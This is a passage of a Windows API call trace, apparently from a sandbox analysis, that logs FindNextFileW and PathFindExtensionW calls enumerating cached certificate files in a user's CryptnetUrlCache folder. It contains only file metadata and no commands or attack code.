hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0113.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0113.985] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0113.985] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0113.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0113.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0113.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0113.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0113.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0113.986] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0113.987] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0113.987] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0113.987] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0113.987] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0113.987] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0113.988] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0113.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0113.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0113.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0113.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0113.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0113.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0113.989] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0113.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0113.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, 